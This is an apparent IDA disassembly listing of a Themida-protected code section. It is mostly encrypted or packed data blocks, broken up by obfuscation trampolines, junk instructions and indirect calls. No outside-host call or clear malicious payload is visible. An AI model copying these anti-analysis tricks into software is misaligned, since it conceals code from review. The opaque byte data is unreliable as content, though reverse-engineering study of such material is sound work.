		dd 179995FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 941453C3h, 9E70B971h, 95FF006Ah
		dd 7FA1019h, 3AEBC08Bh,	628587FDh, 6C35964Fh, 23BDE8C0h
		dd 4E5035A2h, 1954B584h, 6875CBBFh, 0AFBE4649h,	9E73687Fh
		dd 1BF1A4C6h, 208144D3h, 0E958EBA9h, 8DB5AFD4h,	92DDFD9Bh
		dd 0CFBD9CA5h, 8D8D2349h, 8011209h, 0DDB58B56h,	5B07FA24h
		dd 1CD98D89h, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0CAE560C3h, 4890Fh, 0BB660000h
		dd 958B53DBh, 7FA272Dh,	31AD85C7h, 6DF407FAh, 0AE90000h
		dd 9A000000h, 0B940C57Ah, 7B031051h, 0BE94Eh, 0EE430000h
		dd 42D66AB7h, 8448F64Fh, 0D985C77Fh, 7FA2Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 32B2C352h, 16B9EF99h, 996E4B99h, 45858B50h
		dd 5F07FA31h, 0EEDB5FFh, 8B6607FAh, 9995FFDFh, 6A07FA17h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0E9CBC350h, 14h, 61D8CA2Ch, 9E772A7Fh, 5EF71322h
		dd 6CD62C0Bh, 178C555Bh, 6AE5F380h, 1995FF00h, 8B07FA10h
		dd 895DEBC0h, 7BC8CA3Ch, 788E179Dh, 0F102E9BEh,	8398B409h
		dd 9D807870h, 0C4C9E7DEh, 3B8C8C1h, 0F3106163h,	85DCF414h
		dd 7CB3FFE9h, 0DF1734BFh, 29FA616Dh, 49E44D7Ch,	811541FAh
		dd 88381987h, 0A988F9BEh, 427C28C3h, 0B7EF97EDh, 5B295335h
		dd 1EDF32F0h, 34A7E244h, 6BC44B9Fh, 8030CCE7h, 133C8D8Dh
		dd 95890801h, 7FA0055h,	1CD98D89h, 85C707FAh, 7FA31ADh
		dd 601Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0E6C35646h, 0CFA7831Dh,	3F3CCCB3h, 0D372BE66h
		dd 0E533CBEh, 0D985C723h, 7FA2Bh, 66000000h, 0B5FFF78Bh
		dd 7FA1E99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	83C35646h, 7A625EFCh, 0B58926FDh, 7FA1781h, 21059589h
		dd 95FF07FAh, 7FA1799h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 20C35141h, 951F952Ch,	13E98100h, 2B000000h
		dd 0B6ADA348h, 509BDA77h, 18F5C8F4h, 0CEB84DA8h, 6A4313h
		dd 101995FFh, 0C08B07FAh, 0BC3D3AEBh, 0AD4BB669h, 2B79E2AEh
		dd 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h,	0AB5AD43Eh
		dd 66E6DF4Ah, 0B5F43B99h, 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h
		dd 1942B0BCh, 0EC8CDCEDh, 0CE8h, 91D65B00h, 213C4ED8h
		dd 24D7A52h, 8D89516Dh,	7FA285Dh, 860F5A58h, 6,	0B05BD01h
		dd 0C28107FAh, 7248h, 73BEFE8Bh, 0BF00001Ch
		dd 0B96A9EBh, 95290A8Bh, 7FA1F11h, 2B92F181h, 2BB14A6h
		dd 813B0676h, 75852AC1h, 0CF18162h, 8B0A817Bh, 0FA323185h
		dd 810A8907h, 9F78C8F0h, 3EA833Fh, 7E9h, 0ED27A800h, 0CAD85D2Ah
		dd 0D59D034Ah, 4E07FA10h, 0FFB6850Fh, 8B66FFFFh, 5E8DEh
		dd 4BA90000h, 0F0D375Eh, 58Fh, 2D39BB00h, 89583403h, 0FA1E9D9Dh
		dd 0D6C08107h, 8B000071h, 0FA0A598Dh, 89FF2B07h, 0FA15319Dh
		dd 734FF07h, 0A9B50B52h, 5E07FA0Eh, 0A19D8B5Ah,	8107FA11h
		dd 8D007CC2h, 0CA8B6672h, 2805EA81h, 0BF0F1E95h, 18EA81F2h
		dd 8B7EBE30h, 0FA30B98Dh, 14E95207h, 92000000h,	0CA744B6Fh
		dd 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh, 8F2D0011h, 81663804h
		dd 232A4CEEh, 0FA1D79B5h, 0C3EF8107h, 666F0102h, 0C781DF8Bh
		dd 6F0102BFh, 1CFD8D8Bh, 0FF8107FAh, 0FFFF8ED0h, 0FF87850Fh
		dd 0D681FFFFh, 5328225Eh, 159F8D8Dh, 8B660801h,	0D98D89F2h
		dd 6A07FA1Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 3FA1C353h, 8E885F5h, 4DD78166h
		dd 0AD85C78Bh, 2007FA31h, 6A000075h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0EE66C356h
		dd 0BDA29BFCh, 0B257DA5h, 85C7D88Bh, 7FA2BD9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5F496B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F496B	proc near		; CODE XREF: Themida_:005F4963p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5F496B	endp

; ---------------------------------------------------------------------------
		and	eax, eax
		push	edi
		mov	[ebp+7FA0E29h],	ecx
		add	[ebp+7FA2DCDh],	eax
		push	dword ptr [ebp+7FA2F59h]
		push	0
		push	esi
		call	sub_5F499B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F499B	proc near		; CODE XREF: Themida_:005F4993p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5F499B	endp

; ---------------------------------------------------------------------------
		aad	4Bh
		mov	[ebp+7FA3289h],	esi
		call	dword ptr [ebp+7FA1799h]
		push	0
		push	ebp
		call	sub_5F49C4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F49C4	proc near		; CODE XREF: Themida_:005F49BCp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5F49C4	endp

; ---------------------------------------------------------------------------
		dd 664898E3h, 0FF006ADBh, 0FA101995h, 0EBC08B07h, 3B4A3F0Ch
		dd 1C0BEE8Fh, 8FDE3538h, 0DE8CBh, 2FC20000h, 65F849A2h
		dd 0F821921h, 665F741Eh, 59058BBAh, 0C181CAB4h,	6CF8h
		dd 3359CB81h, 0E683D99h, 0B000001Bh, 81665FA4h,	0FF0AECE8h
		dd 21B50931h, 5E07FA1Ch, 2F819D89h, 0EE8107FAh,	604DE2D6h
		dd 6E9h, 2812E700h, 81536395h, 0C01CE7C6h, 9E940h, 0FF660000h
		dd 23EE9716h, 817D5FC5h, 0C3BF31C6h, 81BD3114h,	8907FA11h
		dd 0C18B6631h, 8A04E983h, 1EF81FCh, 0F000000h, 2285h, 68D0F00h
		dd 8B000000h, 0FA329585h, 30E907h, 83840000h, 8C1043Ch
		dd 0ABE523CEh, 5C21DE8Fh, 9420FF6h, 0FA2AB1BDh,	0FF7DE907h
		dd 0F0BDFFFFh, 0F3EE6784h, 0DEB0889Ah, 7DD7CC9Ch, 0FBECEC6Fh
		dd 13E87D97h, 95000000h, 0CA6BE949h, 4F48F7ADh,	0D0C93B7Ch
		dd 0D4994965h, 0B866DA1Fh, 6659B552h, 9393F281h, 6529C181h
		dd 8D890000h, 7FA1525h,	4C78ACBEh, 8BF68171h, 52714C61h
		dd 2EE1850Bh, 0FF5A07FAh, 3D958B31h, 5B07FA1Fh,	0BE9h
		dd 0E9A20F00h, 76F1193Eh, 0D5691D84h, 0EEFFF381h, 0B70F7444h
		dd 98C381C1h, 810FB44Eh, 3CE5E4EBh, 8902B664h, 0CD850B19h
		dd 8307FA27h, 0BF0F02E9h, 8B4949C6h, 850F4EF9h,	0FFFFFFB7h
		dd 68F0Fh, 0BD8B0000h, 7FA299Dh, 0AE8h,	0B9001D00h, 0D5A73991h
		dd 582D5E41h, 0DE8h, 0E867AE00h, 1A4416DAh, 97416CE4h
		dd 0F580BF73h, 0C0815AB3h, 699Ch, 68C0Fh, 958B0000h, 7FA0B89h
		dd 68h,	0AE95000h, 31000000h, 5D34FDD0h, 35780F2h, 815F5AF0h
		dd 0D02ED6E9h, 734FF3Ch, 0FDC18166h, 0EE95BDBh,	69000000h
		dd 91572E89h, 0DA40906Fh, 0E35BB2FEh, 0A8EB81AFh, 565D70DAh
		dd 0DEC3815Ah, 8B4B33EFh, 84EB81D1h, 894BDF97h,	0FA0EA985h
		dd 0B5015307h, 7FA0AF1h, 6638048Fh, 0D68BD78Bh,	8904EF83h
		dd 0FA104DB5h, 10FF8107h, 0FFFFF97h, 0FFFFA485h, 0CBE66FFh
		dd 34AC42A5h, 7C2406A2h, 0B37D7AA2h, 0CA39873Bh, 0B42A2181h
		dd 30259083h, 3025DD6Fh, 198A786h, 3022E887h, 30AD8D89h
		dd 8DA68486h, 37DF42A3h, 4BA12E86h, 0F6259086h,	0CA232D03h
		dd 6B4D6A81h, 0B1FC8418h, 793E2DB2h, 85DAF552h,	37DF43B7h
		dd 93F8A40Bh, 0E0DA977Bh, 0B5E3B80Dh, 37DF22E3h, 3021FAC8h
		dd 0E7650986h, 0BB752CC4h, 0BB2166C2h, 1461A886h, 85DAC882h
		dd 37DF48A3h, 93F8A10Bh, 0E0DA157Bh, 209CF10Dh,	0D9258486h
		dd 3025428Eh, 3EA02E20h, 79259086h, 0B52A818Dh,	0CFDADB76h
		dd 30251F6Fh, 56B88486h, 88227EC9h, 30254283h, 8DA8C279h
		dd 38248742h, 28AEC50Bh, 229D2C87h, 1BA322A3h, 34AC4249h
		dd 7C2406A2h, 0B37D7AA2h, 0CA39873Bh, 0B42A2181h, 30259083h
		dd 3025DD6Fh, 198A786h,	0F305E983h, 22B9A4h, 32E90000h
		dd 0BD000000h, 81BC5h, 0Bh dup(0)
		dd 80CE900h, 82940000h,	0D939E61Ch, 33E28FC5h, 8788356Bh
		dd 0DD34E117h, 0A2578BC1h, 104658B9h, 0B7EDB163h, 6298060Ah
		dd 0A405EB5h, 64C7E33Bh, 9207E79Bh, 7AE0752Ch, 44FFE683h
		dd 3899CFCFh, 637F0F51h, 7E0B1E5h, 0B81DA801h, 620F4559h
		dd 0FD62EDB1h, 98FD8816h, 3398237Bh, 0A032BDE1h, 0B915BD77h
		dd 2B073171h, 0D1B06EACh, 0CB359804h, 0DB5B07E0h, 0E0CB5CBFh
		dd 0C8318A07h, 3E7A122h, 88588E10h, 406ED750h, 8EEEh, 0C8499E00h
		dd 0DFFB4BD6h, 7E0BF7Ch, 42E851AAh, 346AA78Bh, 0E0459A9h
		dd 74A00590h, 0D769F2Ah, 67F2AC68h, 26EB983Eh, 0A0D1ED78h
		dd 4DC217E6h, 0F79DC651h, 47D7C74Ah, 0D77D21F2h, 8B91C999h
		dd 482F3874h, 0C0000000h, 0A9346AA7h, 0E683177Dh, 6B33DFFFh
		dd 0F7967BE0h, 9EDAA597h, 0FE89F200h, 21C983ACh, 8E722CADh
		dd 75D8F483h, 9BFFE6FAh, 0BCA3D942h, 5Ah, 98F51F74h, 79ACF569h
		dd 0D964CDF1h, 0EA0A6D89h, 0DF38FFE6h, 0A719D076h, 451DF86Ah
		dd 1A43CED0h, 54C126B1h, 2D96BF4Ah, 0A80D39C4h,	72FFE683h
		dd 504EC2A0h, 0A8339CC5h, 83D93C58h, 0AE07FFE6h, 9940A09h
		dd 15BD77B0h, 0B2965091h, 8C12035Fh, 0DF6FD801h, 6E148A8Ah
		dd 96F37930h, 0A5FA3ACAh, 178B316Dh, 7E094FDh, 60C550A9h
		dd 3A64ADB5h, 27EE9BD1h, 0B6D3EC77h, 40FE1AAAh,	1E0FDAA9h
		dd 33E035C5h, 53D8105Ah, 0B51E46CAh, 0C1EA7C0Fh, 0ACF22307h
		dd 524CC976h, 40489BC7h, 0D4FDFFE7h, 0BFDF361Ah, 9CF3D289h
		dd 52C115C4h, 0F5A967BCh, 2D71A24Fh, 3292BC7Eh,	254A750Dh
		dd 56FD028Dh, 0CC8B8DCh, 84712866h, 3774833Ch, 34DAh, 9CF36B00h
		dd 0A0BC15C4h, 0FFE6833Dh, 0BC5B0A63h, 0F46EA75Dh, 0BA1F6E1Fh
		dd 98114462h, 0BC17C62Fh, 6AF5A967h, 91F09B41h,	786Dh
		dd 43D02500h, 1A7D05Bh,	607CBC4Ah, 0FFE682FDh, 2487A323h
		dd 52FFE683h, 89EA90F9h, 0B81B3706h, 0A5FFE683h, 2319D6D6h
		dd 0B636774Ch, 0E745379Ah, 9B045DFFh, 0A0BC8332h, 0FFE6833Dh
		dd 58982841h, 0E683D93Ch, 34AE07FFh, 0A9212BDEh, 0A057FDD5h
		dd 6EA75DBCh, 838AED09h, 23B8FFE6h, 0B444ADF1h,	0E6833598h
		dd 99025BFFh, 3F69A9EAh, 1EAFEB6Ch, 0C4DA367Bh,	1A71039h
		dd 326CA74Ah, 4867BA7h,	0BFF8FFEBh, 0ACF22105h,	5648C976h
		dd 0F3AB66CBh, 611B4C68h, 7A0A947Dh, 0E1E79E50h, 0C76DCD19h
		dd 0D281B989h, 28683878h, 0EABAA90Ch, 0D97ED7FFh, 0AED7623Ch
		dd 4D2708h, 0A7B80000h,	841AF66Ch, 0E82BD0F9h, 0A9C24DB6h
		dd 0B0F080E0h, 0E6833194h, 60065FFFh, 9F46ACC8h, 0FB2507E0h
		dd 0F5F1F0AEh, 9A040D80h, 0E9428B31h, 12CC055Eh, 29B9E52Eh
		dd 0E6603ED4h, 0C72E12Fh, 7CBA60EAh, 2588A4E4h,	4B07E0E3h
		dd 0A7954CF2h, 8EA7326Ch, 0B9D565FBh, 7E090C7h,	0CF7CB20Bh
		dd 8ACA5A44h, 0E0900B6Eh, 50520007h, 1EEFCA95h,	4BDE84DDh
		dd 7BD1D1FBh, 0B81B6414h, 7E5A9E12h, 0F2208C53h, 6FFAA470h
		dd 0ED52DD46h, 5AEC7727h, 36CF7731h, 0B45F43FDh, 0C71CB4EAh
		dd 9CC5504Eh, 0D4CA49F6h, 0B6B81A44h, 0DF388BFBh, 2C56A639h
		dd 685D761Ah, 0B516BC7Dh, 0BCFC8CD4h, 0F1FCAE92h, 0CC46EB2Eh
		dd 51C469D2h, 3933A74Dh, 8D8B6914h, 0FA8519F8h,	83D868D1h
		dd 7BD0008Dh, 0E0E98C13h, 0DC93D177h, 15C49CF3h, 6CA752C1h
		dd 5F168332h, 74833C84h, 23DA37h, 0F36B0000h, 0BC15C49Ch
		dd 0E6833DA0h, 5B0A63FFh, 6EA75DBCh, 4AA98130h,	0F3AB67BCh
		dd 0B2993F68h, 3Ch, 0C49CF34Bh,	277CBC15h, 0E74AB6E8h
		dd 0DFFE682h, 5A760EB4h, 0FFE682F7h, 89679CEh, 43AE547Dh
		dd 0D63B27EEh, 47F65FC8h, 6EA75DBCh, 67BC8130h,	0EE8DE4A9h
		dd 2A52D6D0h, 11701BC1h, 0C7C092BCh, 0D5AA8103h, 0D91822Fh
		dd 24615682h, 0DA13FFEBh, 0C7D73C20h, 712DE491h, 0E9081E6h
		dd 0B2EC297Eh, 2C5D790Ch, 1B838E72h, 2FDD15E5h,	2C7B3879h
		dd 0C000000h, 0A7326CA7h, 0D565FB8Eh, 0E09A4FB9h, 0BA1A4407h
		dd 173AFD5Bh, 469FE88Eh, 6F2962BBh, 8616888Bh, 10C72A46h
		dd 94ED07E1h, 0A7F9B0EEh, 8EA7326Ch, 0B9D565FBh, 7E0AF5Fh
		dd 84E70383h, 0B207E0AFh, 0ACA6DF59h, 558B01E9h, 0F3FFB6ECh
		dd 0BC15C49Ch, 4DF3AB67h, 6CA74BBAh, 5F168332h,	74833C84h
		dd 49DA37h, 0BC6B0000h,	4BF1AD67h, 0CBBA5EAh, 833DA0BCh
		dd 0EA14FFE6h, 4EB86075h, 3C5F9179h, 854639B3h,	16ABF49Ah
		dd 0F11AA5F9h, 5DBCD988h, 81306EA7h, 0D2969A9h,	0FFE683AAh
		dd 22D97FD8h, 0F9C292BCh, 8FE43B05h, 2002E9h, 0F39B0000h
		dd 0BC15C49Ch, 0E6833DA0h, 792841FFh, 6EA75DBCh, 0F37E20F4h
		dd 8E19858Eh, 0E493FC65h, 6CA74AA9h, 867BA732h,	0F8FFEB04h
		dd 0F63605BFh, 0EB0477DAh, 11D9DFFh, 0FFEB049Eh, 72026BC4h
		dd 0EB03F356h, 22C821FFh, 0CA009E75h, 1DA8F61Dh, 49A78CDh
		dd 0AA0D2979h, 0D8FFEB04h, 0F70167Fh, 1656E67Ah, 0EB0497FAh
		dd 0E4BA59FFh, 0CA44AA3h, 49A77CCh, 2C24EA5Eh, 0B91207E5h
		dd 9CF3CC83h, 33DF34C4h, 0C10EC56Bh, 326CA752h,	845F1683h
		dd 3774833Ch, 40DAh, 0DD358A00h, 670D36C1h, 0B39CF3B0h
		dd 2310ABCDh, 5F0E7748h, 833DA0BCh, 0E363FFE6h,	0E68364C7h
		dd 0D03992FFh, 7529EB40h, 92BC18CFh, 98C0AC7Dh,	0AE46EC60h
		dd 306EA74Fh, 6D4AA981h, 1Fh, 0C49CF306h, 3DA0BC15h, 41FFE683h
		dd 5DBC7928h, 81306EA7h, 0CE9F92BCh, 0AABE56E2h, 0A7FA5904h
		dd 78A2326Ch, 360E6BCBh, 0E4476363h, 12FFE75Bh,	17AA50B9h
		dd 0EBDDF6EBh, 954F88FFh, 150062B1h, 3B902089h,	0E11FC5D9h
		dd 5898DF34h, 0EADBD93Ch, 42AE07FFh, 0FFEADBDFh, 0B843AC05h
		dd 0E676EA9Fh, 0E4F7CCCAh, 5181AB07h, 4810943Dh, 0B75BE64h
		dd 0B10E27CBh, 669C0596h, 0F728ECEh, 3507E490h,	0F37F36DCh
		dd 0C115C49Ch, 326CA752h, 283862A2h, 4DA86B3Eh,	472D90FCh
		dd 0FA53FFE7h, 7E169D54h, 2AB5E929h, 84A45B01h,	3774833Ch
		dd 37DAh, 9CF36B00h, 0AC158988h, 3DA0BCFDh, 14FFE683h
		dd 0D38B90EAh, 7F4CEE09h, 0B759D323h, 5D41CFBBh, 9A40A9D2h
		dd 0BC49F851h, 0F46EA75Dh, 6A19821Ch, 286D4AA9h, 6000000h
		dd 15C49CF3h, 833DA0BCh, 2841FFE6h, 0AC46E98h, 18DAD07h
		dd 5DBCA45Bh, 81306EA7h, 0B83D92BCh, 86293280h,	0A7D635E0h
		dd 4DA2326Ch, 2975A0C2h, 660C759Eh, 80CFBAD3h, 0D895E352h
		dd 8E872C0Bh, 0F35C8510h, 99050E63h, 0A73FE50Eh, 0E123CD8Bh
		dd 6AA0F907h, 50E08009h, 4757BB10h, 387C2DA1h, 116A0FE2h
		dd 0B6F63686h, 0E207379Ah, 98045D0Fh, 0FE20735h, 0AF5C025Bh
		dd 57043A64h, 2B57E2BCh, 0FFCECBBh, 0ECD08AC3h,	94417727h
		dd 79DCF87Fh, 0A70FC7E3h, 3569A94Eh, 33DC41CCh,	997BE06Bh
		dd 0FD157A05h, 9BC416A1h, 3E6739E1h, 2B73A084h,	0D3CB48F5h
		dd 3A948h, 0BB420000h, 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh
		dd 29C78DDh, 9FFF1277h,	3C62AF14h, 0DBC34CB1h, 742AEB50h
		dd 108E84E9h, 89535285h, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 2404895Ch, 87868h, 24048900h, 81E18951h, 4C1h, 4E98100h
		dd 87000000h, 895C240Ch, 0ED68240Ch, 8B080118h,	0C4832404h
		dd 0C8B5404h, 4C48124h,	81000000h, 4ECh, 242C8900h, 6989C589h
		dd 34FF5D08h, 0C4835924h, 2434FF04h, 4C48158h, 0E9000000h
		dd 0FFF95E08h, 0F4C86DE4h, 0EE70D60h, 71490D5Ah, 7DB8A554h
		dd 3080120h, 0D6E0FFC5h, 573D4412h, 895694ACh, 0FC2A4B57h
		dd 1C4CC4C8h, 3B143EB1h, 2905DD36h, 5317B423h, 5D281647h
		dd 47078B0Fh, 5C486377h, 3C14B8F2h, 0AF2C85F1h,	2D57B4C2h
		dd 0D80092CBh, 7A047A78h, 0BB5B3EBBh, 0C60BDDCh, 8D764F86h
		dd 1225D8Dh, 50006A08h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 3263FE6Dh, 89DC4400h, 0FA237995h
		dd 9E807h, 0AB750000h, 4757347Fh, 0FD1A9B6h, 895EF3BFh
		dd 0FA1CD98Dh, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8956B399h, 0FA249985h
		dd 0AD85C707h, 0FC07FA31h, 8100005Dh, 6E9CB5C8h, 0FE938h
		dd 0D2D60000h, 0EA7A7137h, 0EAB57AEAh, 0E7FB9CBBh, 0D985C75Ch
		dd 7FA2Bh, 0E9000000h, 13h, 297DACBh, 0E87CAEDFh, 4F2F2599h
		dd 0FF569FDh, 0FF11D44Bh, 0FA1E99B5h, 10E907h, 0C930000h
		dd 0F56A74ABh, 0E9463AC2h, 85D1327Ah, 0F513C4Ch, 0FF5AC2BFh
		dd 0FA179995h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0CEFB25ADh, 0B642DAACh
		dd 0DE925h, 0CCB0000h, 5E78AEE3h, 0B0162E06h, 6A8DAF1Ch
		dd 1995FF00h, 8B07FA10h, 923AEBC0h, 0CF55401h, 307D3EE5h
		dd 2A0FEE0Bh, 841BE467h, 578A9220h, 0F18ECECDh,	0E3C0AD5Dh
		dd 0A9619A42h, 0AB22069Ah, 5BAD66B2h, 561795F4h, 700B2226h
		dd 0FDFBE2D0h, 0EFA20D7Dh, 13E848h, 244A0000h, 0A6D57A0Ah
		dd 0A9A6D195h, 5ED61E61h, 350E6854h, 810FD4h, 5A000000h
		dd 1E7D8D89h, 0C28107FAh, 6016h, 68C6BF0Fh, 17DBh, 6872BB66h
		dd 0FD85015Eh, 0FF07FA1Ch, 13E932h, 0C24F0000h,	0FC27411Ch
		dd 0E73C5482h, 0FC9674C7h, 512DDEE3h, 0E98159BCh, 7B5D3225h
		dd 68B0Fh, 9D330000h, 7FA0CBDh,	0DA52E981h, 858B47EFh
		dd 7FA1609h, 9976F181h,	0E58A13B2h, 0CE951h, 0DC840000h
		dd 9A5EA4F5h, 6F578C15h, 28F1386h, 3EA83F9h, 1F719D01h
		dd 314A07FAh, 0FA0F99B5h, 1EE8307h, 0FF91850Fh,	0BD31FFFFh
		dd 7FA3495h, 0CE8h, 0C000CE00h,	0C7C6533Ch, 0B01FCAEDh
		dd 0BF6660AFh, 61F99E50h, 81C28B5Bh, 5884C3h, 28BA6600h
		dd 16046878h, 0A8B80000h, 59393E03h, 7C1D1ABEh,	0FC33FF5Dh
		dd 79B58B5Fh, 8107FA29h, 651720F7h, 3ABE6604h, 78C781ABh
		dd 102E3E1h, 0FA0FA58Dh, 50C78107h, 0F567A2F1h,	79B58B57h
		dd 8F07FA26h, 0B5895603h, 7FA25F1h, 4EB8358h, 21658D29h
		dd 0F4907FAh, 0FFFFB885h, 0AD8D8DFFh, 6A080124h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 69C4C351h, 600BB2CEh, 12E922FAh, 0C5000000h,	91CFF529h
		dd 0E4979CF7h, 0DE31CB4Bh, 0C6C7D9D3h, 0BD9D8943h, 2307FA0Ch
		dd 0FA1D3D9Dh, 0D98D8907h, 0E907FA1Ch, 0Eh, 0D028A7D6h
		dd 9D4704CAh, 0FE03E50Bh, 85C70639h, 7FA31ADh, 66ECh, 2CA59529h
		dd 85C707FAh, 7FA2BD9h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5F5897
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F5897	proc near		; CODE XREF: Themida_:005F588Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5F5897	endp

; ---------------------------------------------------------------------------
		cld
		add	[esi], ch
		sub	[ecx-940F030h],	ah
		push	dword ptr [ebp+7FA2EA9h]
		mov	[ebp+7FA0135h],	edx
		call	dword ptr [ebp+7FA1799h]
		push	0
		push	edi
		call	sub_5F58CD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F58CD	proc near		; CODE XREF: Themida_:005F58C5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5F58CD	endp

; ---------------------------------------------------------------------------
		align 2
		xchg	eax, ebp
		mov	esp, [edx]
		jle	short loc_5F5957
		mov	dx, 2A2Eh
		push	0
		call	dword ptr [ebp+7FA1019h]
		mov	eax, eax
		jmp	short near ptr loc_5F5960+1
; ---------------------------------------------------------------------------
		db 88h
		dd 0A5BC99E1h, 0D0F02986h, 53AEAC62h, 364B4158h, 676DDD46h
		dd 754C6C61h, 8E1694C3h, 83F99B09h, 554417E3h, 202857BFh
		dd 0DA68D096h, 20738A96h, 0D2E721EBh, 7A9A47Eh,	9D37EEC3h
		dd 2FE106FBh, 8DEB9C8Bh, 4B82BD01h, 0A5142279h,	82102AAEh
		dd 9F3672A0h, 4AB9BB5Dh, 4668FC15h, 8C7017AFh
		db 0A0h, 1Ch, 0BFh
; ---------------------------------------------------------------------------


loc_5F5957:				; CODE XREF: Themida_:005F58E1j
		xchg	eax, esp
		mov	dl, 0A9h
		mov	ch, 67h
		jns	short loc_5F59A4
		outsb
		out	dx, al


loc_5F5960:				; CODE XREF: Themida_:005F58F1j
		xor	al, 8Dh
		lea	ebp, ds:6A080126h
		add	[edi-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 20h
; ---------------------------------------------------------------------------
		pop	edi
		retn
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 1Ah
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dw 536h
		dd 0CD1E267Ah, 99D290Fh, 8907FA29h, 0FA1CD98Dh,	59BD8907h
		dd 0C707FA16h, 0FA31AD85h, 702407h
; ---------------------------------------------------------------------------


loc_5F59A4:				; CODE XREF: Themida_:005F595Cj
		add	[edx+0], ch
		push	edi
		call	sub_5F59B0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F59B0	proc near		; CODE XREF: Themida_:005F59A8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5F59B0	endp

; ---------------------------------------------------------------------------
		fisubr	dword ptr [bp+di-53h]
		dec	esi
		adc	bl, 0F4h
		mov	dword ptr [ebp+7FA2BD9h], 0
		push	0
		push	ecx
		call	sub_5F59DD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F59DD	proc near		; CODE XREF: Themida_:005F59D5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5F59DD	endp

; ---------------------------------------------------------------------------
		db 92h,	45h, 26h
		dd 0D765FE97h, 58B0FDCh, 0BE000000h, 2346B936h,	8DA4E681h
		dd 0B5FF6D2Ah, 7FA167Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 68C35747h, 9B7BDABEh,	9995FF1Fh, 6A07FA17h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 3F7DC355h, 4CA9DBB1h, 0D3963560h,	0AE9h
		dd 518CAF00h, 4029A2Dh,	6AE8CCBFh, 1995FF00h, 8B07FA10h
		dd 0E30EEBC0h, 192C2414h, 7C97C427h, 8E1C41A3h,	0E48D8D77h
		dd 6A080126h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 8B56C351h, 8EEE2875h, 759D8BD1h
		dd 8B07FA20h, 0FA2BF585h, 0D98D8907h, 0E907FA1Ch, 7, 24516528h
		dd 66FE220Bh, 85C7F88Bh, 7FA31ADh, 5CDCh, 26E99D29h, 85C707FAh
		dd 7FA2BD9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5F5AEF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F5AEF	proc near		; CODE XREF: Themida_:005F5AE7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5F5AEF	endp

; ---------------------------------------------------------------------------
		mov	dl, 8Eh
		lodsd
		xor	ecx, [ecx-5DDAA43h]
		pop	es
		push	dword ptr [ebp+7FA3391h]
		mov	edi, [ebp+7FA2559h]
		call	dword ptr [ebp+7FA1799h]
		sub	al, 39h
		push	0
		call	dword ptr [ebp+7FA1019h]
		mov	eax, eax
		jmp	short loc_5F5B84
; ---------------------------------------------------------------------------
		dw 0D67Fh
